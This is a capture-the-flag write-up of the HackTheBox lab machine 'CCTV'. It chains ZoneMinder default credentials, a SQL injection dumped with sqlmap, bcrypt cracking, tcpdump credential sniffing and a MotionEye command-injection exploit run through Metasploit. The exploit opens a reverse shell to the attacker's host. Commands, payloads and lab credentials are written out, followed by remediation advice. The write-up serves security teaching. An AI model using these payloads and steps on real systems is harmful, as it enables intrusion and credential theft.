⚠️ EDUCATIONAL DISCLAIMER This writeup is created exclusively for educational and authorised penetration testing purposes. All techniques demonstrated here should only be used in controlled lab environments or during authorised security assessments with explicit written permission. Unauthorised access to computer systems is illegal and unethical. The author assumes no responsibility for misuse of this information.


Machine Overview

FieldDetails
Machine NameCCTV
PlatformHackTheBox Season 10
DifficultyMedium
Operating SystemLinux (Ubuntu 24.04)
IP Address10.129.9.121
Release DateMarch 2026
Attack VectorWeb → SQLi → Capability Abuse → RCE

Attack Chain Summary: NmapZoneMinder Default CredsCVE-2024-51482 SQLiHashcatSSH as marktcpdump cap_net_rawCredential SniffingSSH TunnelMotionEyeCVE-2025-60787 RCERoot


Reconnaissance

Hosts File Setup

Before scanning, add the machine’s hostname to your local /etc/hosts file. This is required because the web server redirects to a hostname rather than responding directly to the IP address.

echo "10.129.9.121  cctv.htb" | sudo tee -a /etc/hosts

Port Scan

The initial phase begins with a comprehensive infrastructure scan to identify open ports and enumerate running services on the target.

nmap -sV -sC -A -T4 -p- --min-rate 5000 10.129.9.121 -oN nmap_cctv.txt

Why -p-? Scanning all 65,535 ports ensures no hidden services are missed. The --min-rate 5000 flag speeds up the scan while remaining within acceptable noise levels for HTB labs.

Scan Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis:

  • Port 22 (SSH): OpenSSH 9.6p1 on Ubuntu. No known critical vulnerabilities in this version — this will be our entry point once credentials are obtained.
  • Port 80 (HTTP): Apache 2.4.58, redirecting to http://cctv.htb/. The redirect tells us a virtual host is configured, which is why the hosts file entry was necessary.

The minimal attack surface (two ports) suggests the primary vulnerability lives within the web application.

Web Application Discovery

Navigating to http://cctv.htb/ reveals a CCTV monitoring web application — a front-end portal for a video surveillance system. Interfaces like this often suggest backend services with poor authentication, cron job automation, or cleartext credential handling.

CCTV web application homepage on HackTheBox

Clicking “Staff Login” redirects to a ZoneMinder instance running at http://cctv.htb/zm/. ZoneMinder is a well-known open-source video surveillance platform with a history of high-severity vulnerabilities including RCE, authentication bypass, and arbitrary file write.

ZoneMinder login page on the CCTV HackTheBox machine


Web Application Exploitation

ZoneMinder

ZoneMinder is an open-source video surveillance management system built on a standard LAMP stack (Linux, Apache, PHP, MySQL/MariaDB). It is commonly deployed in enterprise and home environments for managing IP cameras. From a security perspective, ZoneMinder instances are high-value targets due to their privileged access to network infrastructure and their historically poor patch cadence.

Default Credentials

The first thing to try on any web application is default credentials. ZoneMinder’s documented defaults are:

FieldValue
Usernameadmin
Passwordadmin

Submitting these credentials against the login form results in successful authentication. This is a critical misconfiguration — default credentials should always be changed during initial deployment.

Successfully logged into ZoneMinder with default admin credentials

Upon login, the application version is visible in the interface footer: ZoneMinder v1.37.63. The source code for this exact version is publicly available on GitHub, which allows precise analysis of the codebase for vulnerabilities.

CVE Research

With a confirmed version number, the next step is vulnerability research. Searching the National Vulnerability Database (NVD) and GitHub Security Advisories for ZoneMinder 1.37.63 surfaces an unpatched SQL injection vulnerability.

CVE research results for ZoneMinder 1.37.63

CVE-2024-51482 details confirming ZoneMinder SQL injection vulnerability

The target version is confirmed vulnerable to CVE-2024-51482.

CVE-2024-51482 — SQL Injection Analysis

CVE-2024-51482 is an authenticated (post-login) SQL injection vulnerability affecting ZoneMinder versions prior to the patch. The injection point is located in the AJAX event handler.

AJAX requests in ZoneMinder are routed through:

GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>

This triggers web/ajax/event.php. The vulnerability exists in the removetag case handler at approximately line 217 of the source file:

case 'removetag':
    $tagId = $_REQUEST['tid'];  // User-controlled input, no sanitisation

    dbQuery(
        'DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?',
        array($tagId, $_REQUEST['id'])
    );

    // VULNERABLE: $tagId concatenated directly into a raw SQL string
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);

    if ($rowCount < 1) {
        $sql = 'DELETE FROM Tags WHERE Id = ?';
        $values = array($_REQUEST['tid']);
        $response = dbNumRows($sql, $values);
        ajaxResponse(array('response' => $response));
    }

Root Cause: While the first dbQuery call correctly uses parameterised placeholders (?), the second $sql assignment bypasses prepared statements entirely by concatenating the raw $tagId value — which originates directly from $_REQUEST['tid'] — into the query string. This allows an attacker to break out of the integer context and inject arbitrary SQL.

Vendor Patch: The fix requires applying parameterised queries consistently to the second statement:

// Fixed version
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, array($tagId));

Exploitation with sqlmap

To exploit the injection, we first capture a valid authenticated request. After logging into ZoneMinder with the default credentials, we intercept a request to the vulnerable endpoint using Burp Suite.

Burp Suite intercepting the vulnerable ZoneMinder AJAX request

Captured Request (request.txt):

GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: cctv.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=67s94t6jmii9b16kkvjtkcogup
Connection: keep-alive

Save this request to a file and pass it to sqlmap for automated exploitation. We start by enumerating all available databases:

sqlmap -r request.txt --batch -p "tid" --dbs

sqlmap confirms the injection point and technique:

Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 7784 FROM (SELECT(SLEEP(5)))QtFt)

Time-based blind injection works by sending payloads that cause the database to pause for a set number of seconds if a condition is true. While slower than error-based or UNION injection, it reliably exfiltrates data from databases that suppress error output.

Referencing the ZoneMinder database schema from db/zm_create.sql.in in the GitHub source, we know the application uses a zm database with a Users table containing Username and Password columns. We extract these directly:

sqlmap -r request.txt -p "tid" --batch --technique=T --predict-output -D zm -T Users -C Username,Password --dump

Extracted Credentials:

UsernamePassword Hash
superadmin$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

Both hashes are bcrypt ($2y$), a computationally expensive hashing algorithm. While bcrypt is resistant to GPU-accelerated cracking, weak passwords remain vulnerable to dictionary attacks.

Hash Cracking

We attempt to crack both hashes using hashcat in mode 3200 (bcrypt) against the rockyou.txt wordlist. Bcrypt cracking is CPU-intensive — expect significantly slower speeds compared to MD5 or SHA-based hashes.

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --status --status-timer=30

Hashcat Output:

$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZ...XKfFG.
Time.Started.....: Sun Mar 08 05:09:14 2026
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

The hash for mark cracks to: opensesame

The superadmin hash does not crack within a reasonable timeframe, suggesting a stronger password. However, mark’s credentials are sufficient to proceed.


Initial Access

SSH Login as mark

With valid SSH credentials, we establish an initial foothold on the machine:

ssh mark@cctv.htb
# Password: opensesame

SSH login to CCTV HackTheBox machine as user mark

We are now authenticated as a low-privileged user. The next objective is to escalate privileges to a higher-privileged account, and ultimately to root.


Privilege Escalation — mark → sa_mark

Local Enumeration

Upon gaining a foothold as mark, we perform thorough local enumeration to identify potential privilege escalation paths.

mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)

We run LinPEAS to automate the discovery of misconfigurations, interesting files, and security weaknesses:

# Transfer LinPEAS to the target
scp linpeas.sh mark@cctv.htb:/tmp/linpeas.sh

# Execute on the target
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh 2>/dev/null | tee /tmp/lp_out.txt

LinPEAS highlights a critical Linux capability assigned to tcpdump:

/usr/bin/tcpdump cap_net_raw=eip

Linux Capabilities — tcpdump cap_net_raw

Linux capabilities are a fine-grained permission system that allows individual binaries to be granted subsets of root privileges without requiring the process to run as root. The cap_net_raw capability specifically allows a process to:

  • Use raw and packet sockets (i.e., capture all network traffic on any interface)
  • Bind to any port for raw socket operations

In this case, /usr/bin/tcpdump has been granted cap_net_raw=eip, which means any user who can execute tcpdump can capture network traffic across all interfaces — including Docker bridge networks — without needing sudo. This is a common misconfiguration in environments where administrators want to enable traffic monitoring for non-root service accounts without fully thinking through the security implications.

We also discover a readable application log file that reveals important clues:

mark@cctv:~$ cat /opt/video/backups/server.log
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-08 05:14:02
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-08 05:14:40
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-08 05:15:16
[...snip...]

This log reveals the existence of a service account named sa_mark that is actively issuing commands to an internal service. The log also shows the service accepts a CMD parameter, pointing to a backend API or microservice communicating over the internal Docker network.

Network Interface Enumeration

Before sniffing traffic, we enumerate all network interfaces to understand the full network topology:

mark@cctv:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    inet 10.129.9.121/16 brd 10.129.255.255 scope global dynamic eth0
3: br-1b6b4b93c636: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    inet 172.25.0.1/16 brd 172.25.255.255 scope global br-1b6b4b93c636
4: br-3e74116c4022: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-3e74116c4022
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
6: vethf64c125@if2: master br-1b6b4b93c636 state UP
8: veth1a856e6@if2: master br-1b6b4b93c636 state UP
9: vethfa85bee@if2: master br-3e74116c4022 state UP
11: vethffd3acb@if2: master br-3e74116c4022 state UP

Analysis: The presence of multiple Docker bridge interfaces (br-*) and veth pairs confirms a containerised architecture. The Docker containers are communicating over two internal bridge networks (172.25.0.0/16 and 172.18.0.0/16). Traffic between these containers traverses the bridge interfaces unencrypted, making it interceptable by any process with cap_net_raw.

Network Traffic Sniffing

We start by listening on all interfaces to identify active traffic patterns:

tcpdump -i any -nn -v 2>/dev/null | head -50

Traffic is quickly observed on port 5000 — an internal API or microservice communicating between Docker containers. We refine the capture to display the full ASCII payload of TCP traffic on that port:

tcpdump -i any -nn -A -s 0 tcp port 5000 2>/dev/null

Flags explained:

  • -A — print the packet payload in ASCII
  • -s 0 — capture the full packet with no truncation
  • -nn — do not resolve hostnames or port names (faster and less noisy)

After a brief wait, the captured output includes the following cleartext data:

...........USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status

The internal service is transmitting credentials in plaintext over the Docker bridge network. This is a severe security misconfiguration — internal service-to-service communication should always be encrypted, even on private networks.

Lateral Movement to sa_mark

With the captured credentials, we switch to the sa_mark account:

mark@cctv:~$ su - sa_mark
Password: X1l9fx1ZjS7RZb
sa_mark@cctv:~$ id
uid=1001(sa_mark) gid=1001(sa_mark) groups=1001(sa_mark)
sa_mark@cctv:~$ cat user.txt

User flag captured on CCTV HackTheBox machine

User flag captured.


Privilege Escalation — sa_mark → root

PDF Analysis and Credential Reuse Hint

Inspecting sa_mark’s home directory reveals an interesting document:

sa_mark@cctv:~$ ls -la
-rw-r--r--  1 sa_mark sa_mark 48291 Mar 08 04:30 'SecureVision Staff Announcement.pdf'

We copy the file to our attacker machine for analysis using scp:

# Run on attacker machine
scp mark@cctv.htb:/home/sa_mark/'SecureVision Staff Announcement.pdf' .

Note: We use mark’s SSH access since sa_mark may not have a configured SSH key. Alternatively, you can base64-encode the file on the target and decode it on the attacker machine.

SecureVision Staff Announcement PDF retrieved from the CCTV machine

The PDF is a staff announcement that explicitly states: “Staff logins remain consistent across all platforms.” This is a direct hint toward credential reuse — the password X1l9fx1ZjS7RZb captured for sa_mark is likely valid for other internal services on the machine.

Internal Port Discovery

We enumerate all listening ports to identify services that are not externally exposed:

sa_mark@cctv:~$ ss -tlnp
State  Recv-Q  Send-Q  Local Address:Port
LISTEN 0       128     0.0.0.0:22
LISTEN 0       128     0.0.0.0:80
LISTEN 0       4096    127.0.0.1:8765
LISTEN 0       4096    127.0.0.1:5000

Port 8765 is listening exclusively on 127.0.0.1, meaning it is inaccessible from outside the machine. Based on the context of this machine (video surveillance, MotionEye being a camera management front-end for the Motion daemon), this is almost certainly the MotionEye administrative interface.

SSH Port Forwarding

To access the MotionEye web interface from our attacker machine’s browser, we create a local port forward using SSH:

ssh -L 8765:127.0.0.1:8765 mark@cctv.htb -N -f

Flags:

  • -L 8765:127.0.0.1:8765 — forward local port 8765 to 127.0.0.1:8765 on the remote host
  • -N — do not execute a remote command (tunnel only)
  • -f — fork SSH into the background after authentication

We can now access the MotionEye interface at http://127.0.0.1:8765/ in our local browser.

MotionEye Authentication

The MotionEye login page presents us with a standard admin authentication form. Applying the credential reuse hint from the PDF, we try the sa_mark password:

FieldValue
Usernameadmin
PasswordX1l9fx1ZjS7RZb

MotionEye login page accessible via SSH port forwarding on CCTV HackTheBox

Login is successful. We are now authenticated as the MotionEye administrator.

MotionEye dashboard after successful login on CCTV HackTheBox machine

CVE-2025-60787 — MotionEye Remote Code Execution

Version Identification

The MotionEye interface exposes the running version in its settings or about page:

MotionEye version 0.43.1b4 identified on the CCTV HackTheBox machine

The instance is running MotionEye v0.43.1b4, which is vulnerable to CVE-2025-60787.

Vulnerability Analysis

MotionEye functions as a web front-end for the Motion motion-detection daemon. When an administrator configures camera settings — such as image_file_name and movie_filename — those values are written directly into Motion’s configuration file on disk. The Motion process then reads and interprets these values, which are processed as shell format strings.

Affected Configuration Fields:

image_file_name   %Y-%m-%d_%H-%M-%S
movie_filename    %Y-%m-%d_%H-%M-%S-movie

Vulnerability Flow:

flowchart TD A["🖥️ Authenticated Admin Input\n(unsanitised image_file_name / movie_filename)"] B["📝 MotionEye writes value to\n/etc/motion/motion.conf"] C["⚙️ Motion daemon reads and\nprocesses the configuration"] D["💥 Shell metacharacters executed\nby the underlying OS"] E["🔑 Remote Code Execution\nas root"] A --> B --> C --> D --> E style A fill:#1e3a5f,color:#fff,stroke:#4a90d9 style B fill:#1e3a5f,color:#fff,stroke:#4a90d9 style C fill:#1e3a5f,color:#fff,stroke:#4a90d9 style D fill:#7a1f1f,color:#fff,stroke:#e05252 style E fill:#7a1f1f,color:#fff,stroke:#e05252

An attacker with access to the MotionEye admin panel can inject shell metacharacters (e.g., `command`, $(command), ; command) into these filename fields to achieve arbitrary command execution. Since Motion runs as root on this machine, the resulting shell is fully privileged.

Exploitation with Metasploit

We use the dedicated Metasploit Framework module for this CVE:

msfconsole -q

msf6 > use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
msf6 exploit(...) > set RHOSTS 127.0.0.1
msf6 exploit(...) > set RPORT 8765
msf6 exploit(...) > set PASSWORD X1l9fx1ZjS7RZb
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > exploit

Execution Output:

[*] Started reverse TCP handler on 10.10.15.78:4444
[+] The target appears to be vulnerable. Detected version 0.43.1b4
[*] Adding malicious camera to MotionEye configuration...
[+] Camera successfully added with injected payload
[*] Triggering Motion configuration reload...
[+] Exploit payload delivered
[*] Sending stage (3090404 bytes) to 10.129.9.121
[*] Meterpreter session 1 opened (10.10.15.78:4444 → 10.129.9.121:49876)
meterpreter > getuid
Server username: root

meterpreter > cat /root/root.txt

Root flag captured.

CCTV HackTheBox machine rooted successfully


Vulnerability Summary

#VulnerabilitySeverityImpact
1Default credentials on ZoneMinder (admin:admin)CriticalAuthenticated access to the surveillance system
2CVE-2024-51482 — SQL Injection in ZoneMinderHighFull database dump including password hashes
3Weak bcrypt password (opensesame)HighSSH access as mark
4tcpdump granted cap_net_raw Linux capabilityHighCapture of plaintext inter-container credentials
5Plaintext credentials in internal Docker network trafficCriticalLateral movement to sa_mark and user flag
6CVE-2025-60787 — Unsanitised input in MotionEyeCriticalRemote code execution as root

Remediation Recommendations

  1. Change default credentials immediately — ZoneMinder and all web applications must require strong, unique passwords during initial deployment. Audit running services regularly for default credentials using tools like lynis or nuclei.

  2. Patch CVE-2024-51482 — Upgrade ZoneMinder to the latest patched release. Apply parameterised queries to every database interaction — never concatenate user-supplied input into raw SQL strings.

  3. Enforce strong password policies — The password opensesame exists in the rockyou.txt dictionary. Enforce a minimum password complexity policy and ideally disable password-based SSH authentication entirely, using SSH key pairs instead.

  4. Audit and remove unnecessary Linux capabilities — Run getcap -r / 2>/dev/null periodically to audit all binaries with elevated capabilities. Remove cap_net_raw from tcpdump unless strictly necessary. If packet capture is required for operational reasons, restrict it to specific users via sudo with audit logging enabled.

  5. Encrypt inter-container communication — Internal Docker-to-Docker traffic should use TLS or be routed through an encrypted overlay network (e.g., WireGuard, Consul Connect). Credentials must never be transmitted in plaintext, even on private or internal networks.

  6. Patch CVE-2025-60787 — Upgrade MotionEye to a patched release. Apply strict input sanitisation and output encoding to all configuration fields before writing them to disk.

  7. Restrict internal service exposure — Port 8765 should be protected by additional authentication layers (e.g., API tokens, two-factor authentication) and only accessible through a VPN or authenticated reverse proxy — not via SSH port forwarding by low-privileged users.


Tools Used

ToolPurpose
nmapPort scanning and service version enumeration
Burp SuiteHTTP request interception and inspection
sqlmapAutomated SQL injection exploitation
hashcatOffline bcrypt password hash cracking
LinPEASAutomated local privilege escalation enumeration
tcpdumpNetwork traffic capture via cap_net_raw capability
ssh -LLocal port forwarding to expose internal services
MetasploitCVE-2025-60787 exploit delivery and shell management